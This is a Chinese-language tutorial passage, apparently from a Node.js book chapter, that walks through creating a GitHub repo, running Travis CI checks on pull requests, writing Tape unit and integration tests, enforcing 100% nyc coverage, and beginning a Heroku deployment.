在本节中,您需要设置两个账户。第一个是 GitHub。您可能已经有 GitHub 账户,甚至每天都在使用。GitHub 是全球最流行的基于 Git 版本控制托管项目的服务。大多数 npm 包,甚至 Node.js 运行时本身,都托管在 GitHub 上。您还需要第二个账户,即 Travis CI,作为注册的一部分,需要将其与您的 GitHub 账户关联。Travis 是一种流行的持续集成构建流水线服务。它也被 Node.js 和许多流行的 npm 包使用。
现在您的账户已经准备就绪,是时候在 GitHub 上创建一个新的仓库了。访问 GitHub 网站,点击导航栏中的加号符号。这将带您到创建一个新仓库的页面。在此页面,命名仓库为 distnode-deploy。设置可见性为公共。描述为 分布式 Node.js 示例项目。选择初始化仓库使用默认的 README.md 文档。同时,使用下拉菜单选择 Node.js 的默认 .gitignore 文件,并添加 MIT 许可证。选择完这些选项后,点击 创建仓库 按钮。
创建一个基本项目
一旦你的仓库准备好了,使用终端导航到 distributed-node/ 目录。然后,通过以下命令进行 git 仓库的检出,替换 <USERNAME> 为你的 GitHub 用户名:
$ git clone git@github.com:<USERNAME>/distnode-deploy.git
$ cd distnode-deploy
现在你进入了创建的仓库内部,初始化一个新的 npm 项目,并为该项目安装一个 Web 服务器包。你可以通过运行以下命令来完成:
$ npm init -y
$ npm install fastify@3.2
接下来,创建一个新的 distnode-deploy/server.js 文件。这将是一个相对简单的服务,遵循你之前使用过的类似模式。修改文件,使其内容包含 示例 6-1 中的代码。
示例 6-1. distnode-deploy/server.js
#!/usr/bin/env node
// npm install fastify@3.2
const server = require('fastify')();
const HOST = process.env.HOST || '127.0.0.1';
const PORT = process.env.PORT || 8000;
const Recipe = require('./recipe.js');
server.get('/', async (req, reply) => {
return "Hello from Distributed Node.js!";
});
server.get('/recipes/:id', async (req, reply) => {
const recipe = new Recipe(req.params.id);
await recipe.hydrate();
return recipe;
});
server.listen(PORT, HOST, (err, host) => {
console.log(`Server running at ${host}`);
});
还要创建另一个名为 distnode-deploy/recipe.js 的文件。这个文件代表应用程序使用的模型。修改文件,使其包含 示例 6-2 中的代码。
示例 6-2. distnode-deploy/recipe.js
module.exports = class Recipe {
constructor(id) {
this.id = Number(id);
this.name = null;
}
async hydrate() { // Pretend DB Lookup
this.name = `Recipe: #${this.id}`;
}
toJSON() {
return { id: this.id, name: this.name };
}
};
在这个过程中,同时修改 distnode-deploy/package.json 文件,以便在运行 npm test 命令时能够成功通过。你可以通过修改文件并覆盖 scripts 部分中的 test 字段来实现这一点,内容如下:
"scripts": {
"test": "echo \"Fake Tests\" && exit 0"
},
最后,创建一个 distnode-deploy/.travis.yml 文件。这将用于控制 Travis CI 在与仓库交互时的行为。将 示例 6-3 的内容添加到该文件中。
示例 6-3. distnode-deploy/.travis.yml
language: node_js
node_js: 
- "14"
install: 
- npm install
script: 
- PORT=0 npm test
本项目将使用 Node.js v14。
安装时运行的命令。
测试时运行的命令。
这些文件代表应用程序的早期版本。随着时间的推移,你将对它们进行各种更改。创建文件后,通过运行以下命令将它们添加到 git 并推送到 master 分支:
$ git add .
$ git commit -m "Application files"
$ git push
现在你已经将应用程序更改推送到 GitHub。切换回你在浏览器中打开 GitHub 项目页面的地方并刷新。此时,你应该看到你修改过的文件的更新列表。
配置 Travis CI
现在,你的 GitHub 仓库中已经有了一些内容,你可以配置 Travis 与之集成了。在浏览器中打开 https://travis-ci.com 网站。接下来,点击导航栏右上角的头像图标,选择设置选项。这将带你到 仓库设置页面。
在这个页面上,你应该看到一个按钮,用于激活 GitHub 应用集成。点击激活按钮开始授权 Travis 和你的仓库进行工作。
然后,您将被带到 GitHub 网站,您可以选择启用哪些存储库。默认情况下,选择“所有存储库”选项。如果您想要与其他存储库一起使用 Travis,请随意保留此选项。否则,请单击“仅选择存储库”选项。选择此选项后,您将能够搜索存储库。找到并选择 distnode-deploy 存储库。然后,单击屏幕底部的“批准并安装”按钮。
然后,您将被带回 Travis 界面中的存储库设置页面。这一次,您应该看到 Travis 可以访问的 GitHub 托管存储库列表。特别是,您现在应该看到列出的 distnode-deploy 存储库。单击存储库名称旁边的“设置”按钮。
这将带您到 distnode-deploy 项目的设置页面。默认情况下,它配置为构建推送的分支和构建推送的拉取请求。这些默认设置是可以接受的。
测试拉取请求
现在您的仓库已配置为针对拉取请求运行命令,现在是时候试试了。当前,当您运行 npm test 时,测试将通过。因此,您现在将模拟一个拉取请求,导致测试失败。理想情况下,在这种情况下,应阻止合并拉取请求。
切换回项目文件,并修改 package.json 文件。这一次,修改测试行,使其看起来如下所示:
"scripts": {
"test": "echo \"Fake Tests\" && exit 1"
},
修改文件后,请创建一个新分支,添加文件,提交更改并将其推送到 GitHub。您可以通过运行以下命令来完成:
$ git checkout -b feature-1
$ git add .
$ git commit -m "Causing a failure"
$ git push --set-upstream origin feature-1
现在切换回到您的 distnode-deploy 存储库的 GitHub 项目页面。GitHub 检测到您已推送一个分支,并显示一个横幅以创建拉取请求,假设您在“Code”或“Pull requests”选项卡上。请注意,如果横幅不存在,您可能需要刷新页面。单击横幅中的“比较并拉取请求”按钮,基于您推送的分支创建拉取请求。
这将带您到创建拉取请求的屏幕。分支合并选项应显示,您正在尝试将名为 feature-1 的分支合并到名为 master 的分支中。此屏幕上的默认设置是可以接受的。单击“创建拉取请求”按钮,以正式创建拉取请求。
这将带您进入第一个拉取请求的拉取请求屏幕。取决于您创建拉取请求的速度以及 Travis CI 构建服务器的繁忙程度,您将看到零个、一个或两个失败。请记住,在项目的 Travis 设置屏幕上,启用了构建分支选项。因此,即使在创建拉取请求之前,Travis 也能够立即开始测试代码。在我的屏幕上,拉取请求检查看起来像 Figure 6-1。

图 6-1. GitHub 拉取请求失败
到目前为止,在拉取请求中显示的消息并不是特别有用。它确实显示了某些内容失败了,但并没有准确说明失败的原因。Travis 确实提供了更详细的输出,但需要点击几次才能找到。在每个失败检查旁边都有一个名为“详细信息”的链接。点击 Travis CI-Pull Request 检查旁边的“详细信息”链接。
现在您应该在 GitHub 屏幕上看到有关失败的拉取请求检查的更多详细信息。此屏幕提供了有关失败的拉取请求测试的更多信息,但仍然比较高层次,显示了作为检查一部分运行的单个作业的信息。此屏幕上一个重要的按钮是“重新运行检查”按钮。这将允许您在保持相同构建设置的同时多次重复检查。在测试易错的情况下非常有用。但是,点击该按钮不会修复这个特定的测试,因为它是硬编码以失败。
在检查失败面板中,有一个名为“构建失败”的部分。紧接着这部分是一些文字说明“构建失败”,其中“构建”是一个链接;点击它。
这一次,您被带到了 Travis CI 网站。在此屏幕上,您应该看到所有子检查的列表。这个屏幕非常有用,可以显示测试的各种排列组合。例如,您可以配置测试使用不同版本的 Node.js 运行应用程序,环境变量,架构,甚至不同的操作系统(尽管其中一些功能需要付费账户)。点击第一个失败行。
您现在正在查看有关特定“作业”的详细信息,这是 Travis 用来指代代码已执行的特定上下文的术语。在这种情况下,应用程序是使用 Node.js v14 在 AMD64 平台上执行的。在作业概览部分下面是令人兴奋的内容。Travis 运行的所有命令的终端输出都显示在这里。通过查看这些输出,您可以看到从 Travis 设置环境的步骤到npm install命令的输出。更重要的是,您可以看到npm test命令的输出。在我的情况下,我看到以下输出:
$ npm test
> distnode-deploy@1.0.0 test /home/travis/build/tlhunter/distnode-deploy
> echo "Fake Tests" && exit 1
Fake Tests
npm ERR! Test failed. See above for more details.
The command "npm test" exited with 1.
恭喜!您现在为项目启用了一个非常简单的构建流水线。当然,目前它还不是那么有用,因为它只运行了一个虚拟测试。在下一节中,您将创建一些有用的测试,重新创建一些大型组织可能实施的质量控制措施。暂时保持您的失败拉取请求未合并;您很快就会修复它。
自动化测试
现代应用程序消费者期望持续获得新功能和 bug 修复。为了给他们提供这样的体验,您所工作的应用程序需要持续集成。应用程序更改需要充分的测试,以便开发团队——以及整个组织——有信心支持这样的系统。季度发布与严格的质量保证时间表只适用于最过时的行业。相反,测试需要以自动化方式进行,并应用于每一个变更。
测试代码在合并到主分支之前有许多方法。本节介绍了其中一些方法,特别是它们如何应用于 Node.js 应用程序。但在应用这些方法之前,您首先需要设置一个测试框架。
npm 上有许多可用的测试框架。其中一些非常强大,会将全局变量注入测试文件并需要特殊的可执行文件来运行。其他的则更简单,但可能需要更多的手动调整以满足您的需求。在本节的示例中,您将使用Tape,一个流行而简单的测试框架,来优化您的distnode-deploy拉取请求。
首先,您需要一个目录来存放测试文件。最常见的模式是创建一个test/目录,并将包含测试的 JavaScript 文件添加到此目录中。您还需要安装 Tape。运行以下命令来完成这些操作:
$ mkdir test
$ npm install --save-dev tape@5
注意使用安装命令时的--save-dev参数。这确保了tape包作为开发依赖安装。这是因为生产版本的应用程序不应该部署带有测试框架的版本。
在创建测试时,您将创建独立的 JavaScript 文件,并将它们放在test/目录中。在本节中,您最终将只有两个单独的测试文件,并且理论上,您可以硬编码这些文件的路径并运行它们。但是对于像真实生产应用程序中使用的那些复杂测试套件,维护这样一个列表将会很困难且容易出错。相反,使用 glob 模式运行test/目录中的任何 JavaScript 文件。修改package.json文件,使测试命令看起来像以下内容:
"scripts": {
"test": "tape ./test/**/*.js"
},
这配置了npm test命令以运行由tape包提供的tape可执行文件。当 npm 包声明它们提供一个可执行文件时,npm 将在node_modules/.bin/目录中使它们可用。稍后,当您执行 npm 运行脚本时,npm 将自动检查该目录以获取可执行文件。这就是为什么npm test命令能够运行tape命令,即使在您的 shell 中直接运行tape应该会导致“命令未找到”错误。
./test/**/*.js参数是一个 glob 模式,这意味着在test/目录中以.js结尾的任何文件,无论嵌套多深,都将被用作参数。Tape 不会注入任何神奇的全局变量,测试文件可以直接执行,但是tape二进制文件提供了一些其他便利功能,你的拉取请求将依赖于此。例如,如果任何单个测试文件失败,则整体测试运行将失败。
现在,基础工作已经完成,你可以准备创建你的第一个测试了。
单元测试
单元测试是一种模式,其中测试单个代码单元(通常对应一个函数)。这些测试适用于所有形式的代码,从 npm 包到完整的应用程序。单元测试应该测试代码库中的每个角落和缝隙。这些测试应该覆盖函数逻辑的每个分支,传入各种预期的参数,甚至测试失败条件。
逻辑分支指的是像 if/else 语句、switch 语句、循环体等等。基本上,应用程序可以选择运行一组代码或另一组代码的任何地方都被视为分支。在为真实应用程序创建测试时,请确保为每种情况创建单元测试。
有几种方法可以布置应用程序test/目录中的文件。对于较大的应用程序,让test/目录结构与应用程序的目录结构相似是非常常见的。例如,如果一个应用程序有一个src/models/account.js文件,那么它可能还会有一个test/models/account.js文件来对其进行测试。然而,对于这个示例项目,你只需要一个单元测试文件。在你的test/目录中创建一个名为unit.js的文件。在此文件中,添加示例 6-4 中的内容。
示例 6-4. distnode-deploy/test/unit.js
#!/usr/bin/env node
// npm install -D tape@5 const test = require('tape');
const Recipe = require('../recipe.js'); 
test('Recipe#hydrate()', async (t) => { 
const r = new Recipe(42);
await r.hydrate();
t.equal(r.name, 'Recipe: #42', 'name equality'); 
});
test('Recipe#serialize()', (t) => {
const r = new Recipe(17);
t.deepLooseEqual(r, { id: 17, name: null }, 'serializes properly');
t.end(); 
});
应用程序代码已加载用于测试。
每个测试都有一个名称和一个函数。
断言两个值是否相等。
Tape 需要知道基于回调的测试何时完成。
此单元测试文件中包含两个测试用例。第一个标题为Recipe#hydrate(),第二个标题为Recipe#serialize()。这些测试被命名,以便在控制台中输出它们正在测试的内容。使用异步函数的测试将在返回的 promise 解析时完成;但是,回调测试需要手动调用t.end()来表示测试断言的结束。
每个测试用例可以包含多个断言,尽管在这种情况下,每个案例只包含一个断言。Tape 测试用例的函数参数提供了一个名为t的单一参数,在这些示例中包含几个断言方法。第一个测试用例使用了t.equal(),它断言两个参数在宽松相等时。如果它们不相等,测试用例将记录一个失败,并且进程将以非零退出状态退出。
第二个测试用例使用了t.deepLooseEqual(),它断言两个参数是“深度宽松相等”。深度相等的概念在许多不同的 JavaScript 测试工具中使用。基本上,它是一种递归比较两个对象是否==相等的方式,而不要求这两个对象是完全相同的对象实例。另外还有一个方法t.deepEqual()可用,但因为实际值是一个类实例而期望值是一个 POJO,所以测试失败了。
Tape 还有其他断言方法。例如,你可以使用t.ok()来断言一个参数是真值,t.notOk()来断言它是假值,t.throws()来包装一个应该抛出异常的函数,t.doesNotThrow()则相反,并且还有其他几种。每个断言都接受一个可选的标签参数。
现在文件完成了,你可以运行你的第一个测试。执行以下命令来运行当前迭代的测试套件:
$ npm test ; echo "STATUS: $?"
当我运行这个命令时,我得到了以下输出:
TAP version 13
# Recipe#hydrate()
ok 1 name equality
# Recipe#serialize()
ok 2 serializes properly
1..2
# tests 2
# pass 2
# ok
STATUS: 0
输出并不是最吸引人的部分——实际上,它是为机器解析设计的——但它完成了任务。Tape npm 页面提供了一系列格式化工具,可以使输出更加可读。可以通过安装额外的开发依赖项并将tape命令的输出导入其中来实现这一点。
STATUS 行不是 Tape 命令的一部分,而是一个 Shell 命令,用于打印tape命令的退出状态。这个值最终将被 Travis CI 服务器用来确定测试套件是否通过。值为零表示测试通过,任何其他值表示失败。
我最喜欢的单元测试习惯大致如下:“如果它涉及网络,那就不是单元测试。”不用担心,到目前为止你编写的单元测试确实没有涉及网络。涉及网络、文件系统访问或任何 I/O 的测试往往会更慢且更不稳定。^(3)
集成测试
集成测试覆盖了比单元测试更高层次的应用程序层面。集成测试检查应用程序的不同部分如何协同工作。考虑在前一节创建的单元测试。它们测试了食谱模型类的各个方法。然而,请求处理程序代码也应该进行测试。
有多种方法可以为路由处理程序编写测试。例如,您可以创建一个文件来导出处理程序函数。然后,测试文件可以导入此相同文件,传递模拟的request和reply对象。这将允许您通过单元测试来测试路由处理代码。一种方法是使用像sinon这样的包来创建Stubs和Spies,它们是特殊的函数,用于跟踪它们被调用和交互的方式。
就个人而言,我喜欢采用的方法是运行 Web 服务,让其监听端口以接收请求,并从外部客户端发送真实的 HTTP 请求。这是确保应用程序确实侦听请求并正确提供服务的最安全方式。
集成测试对应用程序非常有益,尽管一些 npm 包也会从中受益。单元测试通常运行速度很快,而集成测试通常运行速度要慢得多。这是因为加载的代码更多,移动的部分也更多。例如,单元测试可能永远不会实例化底层的 Web 框架或其他第三方 npm 包,而集成测试会。
对于即将编写的集成测试,您需要安装一个包来帮助发出 HTTP 请求。运行以下命令将node-fetch包安装为开发依赖项:
$ npm install --save-dev node-fetch@2.6
接下来,在test/目录下创建一个名为integration.js的文件。对于更复杂的应用程序,你可能会有一个专门用于集成测试的目录。该目录中的每个文件可以包含一个用于每个应用程序特性的单独测试文件。这可能意味着像user-account.js和gallery-upload.js这样的测试文件。但对于这个简单的应用程序,你只需要创建一个单独的测试文件。将 Example 6-5 的内容添加到这个文件中。
示例 6-5. distnode-deploy/test/integration.js(第一个版本)
#!/usr/bin/env node
// npm install --save-dev tape@5 node-fetch@2.6 const { spawn } = require('child_process');
const test = require('tape');
const fetch = require('node-fetch');
const serverStart = () => new Promise((resolve, _reject) => {
const server = spawn('node', ['../server.js'], 
{ env: Object.assign({}, process.env, { PORT: 0 }),
cwd: __dirname });
server.stdout.once('data', async (data) => {
const message = data.toString().trim();
const url = /Server running at (.+)$/.exec(message)[1];
resolve({ server, url }); 
});
});
test('GET /recipes/42', async (t) => {
const { server, url } = await serverStart();
const result = await fetch(`${url}/recipes/42`);
const body = await result.json();
t.equal(body.id, 42);
server.kill(); 
});
启动server.js的一个实例。
提取服务器的 URL。
测试完成后,关闭server.js实例。
serverStart()方法是一个异步函数,它生成一个server.js的新实例,告诉它监听一个随机的高端口,等待第一条消息打印到stdout,然后从被记录的消息中提取 URL。这允许测试找到server.js最终使用的随机端口。如果在同一台机器上同时运行两个测试实例,硬编码端口可能会在将来带来麻烦。
在服务器启动后,测试套件会向服务器发送 HTTP 请求。一旦收到响应,就会解析 JSON 有效载荷,并将响应主体与预期值进行比较。最后,在测试用例通过后,server.js实例将被终止,测试完成。
现在你已经设置好集成测试,是时候运行你新创建的测试了。运行以下命令来执行你的单元测试和集成测试:
$ npm test ; echo "STATUS: $?"
现在测试将花费更长的时间来运行。之前,仅加载了你的单元测试文件、tape 包和配方模型。这最终是一个非常快速的过程。这一次,在测试完成之前加载了整个 Web 框架并进行了网络请求。在我的机器上,这从几十毫秒增加到了稍微超过一秒。
这是我的机器上的输出样式。注意集成测试的额外条目:
TAP version 13
# GET /recipes/42
ok 1 should be equal
# Recipe#hydrate()
ok 2 name equality
# Recipe#serialize()
ok 3 serializes properly
注意集成测试现在首先运行,然后才运行单元测试。这可能是因为文件按字母顺序排序。
就是这样:一个非常简单的集成测试正在运行,其中正在进行真正的 HTTP 请求,并且一个真实的服务器正在响应。
我曾与许多不同的 Node.js 应用程序代码库一起工作,并看到许多模式形成。有几次我看到的模式是,没有进行真正的 HTTP 请求,而是提供了伪请求对象。例如,请考虑以下编造的测试代码:
// Application code: foo-router.js
// GET http://host/resource?foo[bar]=1
module.exports.fooHandler = async (req, _reply) => {
const foobar = req.query.foo.bar;
return foobar + 1;
}
// Test code: test.js
const router = require('foo-router.js');
test('#fooHandler()', async (t) => {
const foobar = await router.fooHandler({
foo: { bar: 1 }
});
t.strictEqual(foobar, 2);
});
你能想到这个示例代码有什么问题吗?好吧,其中一个问题是查询参数通常表示为字符串。所以,示例中的 bar: 1 值应该是 bar: "1"。因此传递的请求对象表示了一个不可能的请求对象的实现。在这种情况下,代码假定 foo.bar 的值将是一个数字,并且测试通过,但一旦这个处理程序被真实的 Web 服务器调用,它将得到一个字符串和一个逻辑错误。
这里还有一个可能发生的问题,并且曾经导致我曾经工作过的一家公司的 API 发生了故障。一个工程师将查询字符串解析包从一个过时的、固执己见的包切换到一个维护良好且高度可配置的包。
工程师忘记做的一件事是配置包以将方括号视为数组标识符。这是一种语法,允许将像 a[]=1&a[]=2 这样的查询字符串转换为包含值 1 和 2 的数组,结果是这样的:{"a": [1, 2]}。而新的包忽略了方括号并覆盖了重复的键,导致了这样的结果:{"a": 2}。然后 API 将在数字上调用数组方法并崩溃。测试通过了硬编码对象,表示了假设的请求应该是什么样的,而不是来自查询字符串库的真实输出,当测试通过时,有问题的应用程序被部署到了生产环境。
总是会有一些应用程序运行和测试时无法预料的边缘情况。因此,我鼓励你创建与你的应用程序在生产中的客户端相同的集成测试。
单元测试和集成测试都是测试应用程序功能的强大方式。但是你如何确保工程师为他们的功能创建了足够的测试呢?
代码覆盖强制执行
代码覆盖率 是一种衡量测试套件运行时执行了多少应用程序代码的方法。这个值可以使用不同的标准来测量,在本节中使用的工具在四个方面测量覆盖率:语句、分支、函数和行。测量代码覆盖率对于所有类型的代码库都有益,包括 npm 包和完整的应用程序。
代码覆盖率试图要求工程师对他们添加到代码库的每个功能进行测试。它不仅可以被测量,而且还可以作为拉取请求的标准,如果未达到阈值,则测试失败。
警告
代码覆盖率的测量不应该是考虑建议代码更改质量的唯一因素。遗憾的是,很容易编写测试来运行每一行代码,但实际上并不测试底层功能。最终,需要第二位工程师来判断代码是否得到了适当的测试。
用于测试代码覆盖率的最流行的包之一是 nyc。通过运行以下命令来安装这个包:
$ npm install --save-dev nyc@15
这将使得一个新的可执行文件可以在你的 npm 脚本中使用。它可以通过在通常执行的测试命令之前加上nyc来激活。对于你的应用程序,修改 package.json 文件以引入这个新命令。现在你的测试脚本应该如下所示:
"scripts": {
"test": "nyc tape ./test/*.js"
},
可以通过提供命令行参数来配置 nyc 可执行文件。但通常更干净的方法是通过将配置写入文件来配置它。做到这一点的一种方法是在项目目录的根目录下创建一个名为 .nycrc 的文件。创建一个带有此名称的文件,并将内容从 示例 6-6 添加到其中。
示例 6-6. distnode-deploy/.nycrc
{
"reporter": ["lcov", "text-summary"],
"all": true,
"check-coverage": true,
"branches": 100,
"lines": 100,
"functions": 100,
"statements": 100
}
这个配置文件包含几个显著的条目。第一个条目 reporter 描述了代码覆盖检查报告应该如何进行。第一个条目 lcov 告诉 nyc 将 HTML 摘要写入磁盘。这将允许您可视化地看到应用程序源代码的哪些部分被覆盖,哪些部分没有被覆盖。第二个条目 text-summary 意味着通过 stdout 提供覆盖摘要。这允许您在本地运行覆盖率时看到摘要,并在稍后检查 CI 日志时看到摘要。
下一个条目 all 告诉 nyc 考虑所有 JavaScript 文件的覆盖率,而不仅仅是在测试运行时需要的文件。如果没有将其设置为 true,开发人员可能会忘记测试新添加的文件。
check-coverage 条目指示 nyc 在未达到代码覆盖率阈值时失败——通过返回非零退出码。最后四个条目,branches、lines、functions 和 statements,是以百分比衡量的代码覆盖率阈值。作为一个经验法则,这里只有两个可用的数字:100 和其他任何数字。将该值设置为小于 100% 是向现有代码库引入测试的一种好方法,但对于新项目,你应该努力达到 100%。
现在你已经强制执行了代码覆盖率,请运行以下命令再次运行测试套件:
$ npm test ; echo "STATUS: $?"
这一次,正常的测试结果后,你应该打印出一些关于测试套件的额外信息。在我的机器上,我得到了以下输出:
ERROR: Coverage for lines (94.12%) ...
ERROR: Coverage for functions (83.33%) ...
ERROR: Coverage for branches (75%) ...
ERROR: Coverage for statements (94.12%) ...
=========== Coverage summary ===========
Statements : 94.12% ( 16/17 )
Branches : 75% ( 3/4 )
Functions : 83.33% ( 5/6 )
Lines : 94.12% ( 16/17 )
========================================
STATUS: 1
这是一个很好的概述,但它并没有明确说明为什么代码覆盖强制执行失败。你可以通过查看测试用例和应用程序代码来猜测原因。例如,有一个未被请求的 GET / 路由,但还有其他原因吗?
由于其中一个报告者在 .nycrc 文件中被设置为 lcov,因此已将包含有关代码覆盖率信息的报告写入磁盘。这被添加到一个新创建的名为 coverage/ 的目录中。这是一个常用的用于写入代码覆盖输出的目录,GitHub 默认创建的 .gitignore 文件已经忽略了该目录。
在 Web 浏览器中打开位于 coverage/lcov-report/index.html 的文件,以查看覆盖率报告。图 6-2 显示了在我的计算机上覆盖率报告的外观。
该文件在屏幕顶部包含一个总体摘要,并在其下列出每个文件。在本例中,recipe.js 文件完全被覆盖,但 server.js 文件仍然缺少一些内容。点击 server.js 链接以查看该特定文件的覆盖率详细信息。图 6-3 显示了在我的计算机上屏幕上的内容。

图 6-2. 显示 recipe.js 和 server.js 的 nyc 列表

图 6-3. server.js 的 nyc 代码覆盖率
左边缘显示文件中每行执行的次数计数器。已执行的所有内容仅执行了一次。由于只包含空白、注释或 shebang 的行没有执行计数,因此它们从技术上来说从未执行过。
GET / 路由的处理函数以红色突出显示。这意味着该代码未被覆盖。将鼠标悬停在以红色突出显示的 return 关键字上。工具提示显示消息“语句未被覆盖”。接下来,将鼠标悬停在突出显示的 async 关键字上。这次的工具提示显示“函数未被覆盖”。这将需要向服务器发送第二个 HTTP 请求来解决此问题。
这可以通过在集成测试中进行第二次请求来解决。再次打开integration.js文件,并将内容从示例 6-7 添加到文件末尾。
示例 6-7. distnode-deploy/test/integration.js(第二个测试)
test('GET /', async (t) => {
const { server, url } = await serverStart();
const result = await fetch(`${url}/`);
const body = await result.text();
t.equal(body, 'Hello from Distributed Node.js!');
server.kill();
});
现在切换回您正在查看覆盖率报告的网络浏览器。文件中仍有其他问题。在文件顶部附近,突出显示了 8000 的默认端口回退值。将鼠标悬停在该值上,工具提示将显示“分支未覆盖”。这意味着or运算符的右操作数从未执行过。这是因为文件始终使用环境变量对PORT=0进行执行。传递的零是作为字符串"0",这是一个真值。
修复这个问题最简单的方法是让 nyc 忽略有问题的行。在server.js的PORT分配行上方添加以下行:
/* istanbul ignore next */
此注释指示代码覆盖检查器忽略以下行。曾经有两个独立的 npm 包,一个叫做istanbul,另一个叫做nyc。这两个项目最终合并了。CLI 实用程序保留了nyc的名称,而代码中用于配置实用程序的注释则保留了istanbul的前缀。
另一种解决此情况的方法是减少所需的代码覆盖率值。由于应用程序非常小,实际上必须显著更改这些值,将分支阈值从 100%降至 75%。对于更大的项目,此降幅会小得多,比如从 100%降至 99%。尽管诱人,但实际上这是一个非常恼人的情况。在不到 100%覆盖率的情况下,如果工程师从仓库中移除一些代码,实际上代码覆盖率百分比会下降。然后工程师还需要在.nycrc中减少代码覆盖率阈值,尽管没有添加任何未经测试的代码。
忽略默认端口分配行的测试是否可以?在这种情况下,这取决于应用程序在生产环境中的启动方式。如果默认端口仅用于简化本地开发,并且在生产环境中始终分配端口,则可以无忧地忽略该行。
现在您已经添加了新的集成测试并添加了忽略语句,请再次运行测试套件。运行以下命令来运行测试并生成新报告:
$ npm test ; echo "STATUS: $?"
这一次,覆盖率摘要将显示所有四个代码覆盖率测量已达到其 100%代码覆盖要求!现在您可以提交这些更改并将它们推送到您的分支。运行以下命令来执行这些操作:
$ git add .
$ git commit -m "Adding a test suite and code coverage"
$ git push
现在你已经完成了这一步,切换回你的 GitHub 拉取请求页面并重新加载页面。曾经失败的检查现在已经通过,你的 PR 现在已经准备好合并!点击拉取请求页面上的绿色“Merge pull request”按钮来完成这个过程。现在你已经拥有一个愉快地测试拉取请求的项目。
切换回你的终端并运行以下命令,使本地的master分支与远程保持同步:
$ git checkout master
$ git pull
还有其他类型的测试常用于执行代码质量标准的强制性检查。一个非常流行的类别是代码格式测试,它被广泛应用于从开源 npm 包到闭源企业应用的项目中。通过使用像eslint或standard这样的包,如果新添加的代码不符合要求的格式,拉取请求可能会失败。
现在你的仓库已经配置好在合并更改之前测试代码质量,是时候配置项目在代码合并后实际执行一些操作了。在下一节中,你将配置你的项目自动将合并后的代码部署到生产环境。
部署到 Heroku
如果你最终没有部署任何东西,部署章节将不会非常令人兴奋。准备好,现在是你的机会。在这一节中,你将配置 Travis CI 来执行必要的命令将你的应用程序部署到生产服务器上。
对于本节,你将利用另一个 SaaS 工具Heroku。Heroku 是一个云平台,使得部署应用程序、配置数据库以及扩展正在运行的应用程序实例变得非常容易。它提供了许多第三方集成,使得部署变得简单,并且可以配置在 GitHub 合并分支后自动部署你的 Node.js 应用程序代码。这么容易配置,以至于这一节本来可以只写几段话。
但那会太简单了。相反,你将通过配置 Travis CI 来执行一个部署脚本使事情变得更复杂些。这个脚本将运行与 Heroku 交互的命令。这是一个通用的方法,可以修改以将应用程序部署到其他平台。
在前一节中,你配置了 Travis 来构建和测试你的拉取请求。在这一节中,Travis 将在代码合并到master分支后构建和测试代码,一旦通过,它将把该代码部署到生产环境。在拉取请求时和合并到master后再次测试代码可能听起来有些冗余。然而,可以进行像变基、压缩或其他 GitHub 将在合并到master之前修改代码的操作。也可以直接推送到 GitHub 仓库的master分支。出于这些原因,最好在部署之前再次测试代码,以确保只有(看似)有效的代码被部署到生产环境。
部署意味着什么?正如您在 “内部 Docker Registry” 中所见,有一个用于存储 Docker 镜像及其层次的 Docker Registry 服务,并提供与之交互的 API。当您部署基于 Docker 的应用程序时,会触发两个基本步骤。第一步是将镜像的副本上传到 Docker Registry,第二步是基于该镜像运行容器。图 6-4 通过视觉方式解释了此过程,并说明您将如何通过 Travis 和 Heroku 进行配置。

图 6-4. GitHub、Travis CI 和 Heroku
在这种情况下,GitHub 上 master 分支中应用程序代码的更改会触发对 Travis 的调用。Travis 检测到更新的代码并触发构建。该构建将生成一个 Docker 镜像,然后上传到 Docker Registry。在这种情况下,镜像被发送到由 Heroku 在 https://registry.docker.com 托管的 Docker Registry。完成这些步骤后,Travis 通知 Heroku 部署应用程序的最新版本镜像。Heroku 随后进行处理,在某个服务器上下载镜像,并最终运行容器。
但在构建所有这些之前,您首先需要创建一个 Heroku 帐户并创建您的第一个 Heroku 应用程序。
创建 Heroku 应用程序
访问 Heroku 网站并创建一个帐户。对于本节目的目的,免费帐户足以部署和运行您的应用程序。
登录 Heroku 网站后,您将被带到 控制面板 屏幕。该面板通常列出您的应用程序,但目前应该为空。点击屏幕右上角标题为 New 的下拉菜单,然后点击 Create New App。
现在您位于创建新应用程序屏幕上,可以自由地描述您的应用程序。使用 表 6-1 中的信息来描述您的应用程序。
表 6-1. 创建新的 Docker 应用程序
| 应用名称 | <USERNAME>-distnode |
|---|---|
| 区域 | 美国 |
| 流水线 | 空 |
Heroku 根据您选择的应用程序名称为其分配一个 URL。此 URL 不会根据您的帐户命名空间化,因此如果您仅将应用程序命名为 distnode,则会与本书其他读者竞争。这就是为什么您需要使用类似您的用户名这样的命名空间。记住您选择的名称,因为您将在其他地方引用它。您的应用程序 URL 最终将看起来像这样:
https://<USERNAME>-distnode.herokuapp.com/
描述完您的应用程序后,点击创建应用按钮完成应用程序创建过程。
您将需要另一段信息才能与 Heroku 互动,具体来说是称为 Heroku API 密钥的字符串。此字符串的格式类似 UUID,对于从脚本中认证与 Heroku 的操作非常有用。
要获取您的 Heroku API 密钥,请首先点击 Heroku 网站右上角的头像。在出现的下拉菜单中,点击“账户设置”链接。在账户设置屏幕中,向下滚动到标题为 API 密钥的部分。默认情况下,此字段中的内容是隐藏的。点击“显示”按钮查看它。暂时复制此密钥;您很快会需要它。此密钥是一个重要的值,应保密。尽管您最终会检查密钥的加密版本,但永远不应直接将其提交到 git 代码库中。
配置 Travis CI
现在,您已经使用 Web 界面创建了 Heroku 应用程序,是时候回到控制台了。打开终端窗口并导航回 distnode-deploy/ 目录。
这一次,您将直接在 master 分支中工作,推送更改而不创建拉取请求。确保您通过运行以下命令位于正确的分支中:
$ git checkout master
首先要做的是加密上一节中获取的 Heroku API 密钥。通过加密该值,您可以将其提交到代码库中,而无需担心有人窃取并用其对您的应用程序(或信用卡)造成严重影响。
要加密该值,您需要使用官方的 travis 可执行文件。这个可执行文件根据您使用的操作系统不同而获取方式不同。以下命令应该会帮助您。对于 macOS 用户,有一个 brew 一行命令。对于 Linux 用户,您可能需要先安装类似我之前安装的 dev 包才能安装 travis gem 包。试试这些命令以获取可执行文件安装:
### macOS
$ brew install travis
### Debian / Ubuntu Linux
$ ruby --version # `sudo apt install ruby` if you don't have Ruby
$ sudo apt-get install ruby2.7-dev # depending on Ruby version
$ sudo gem install travis
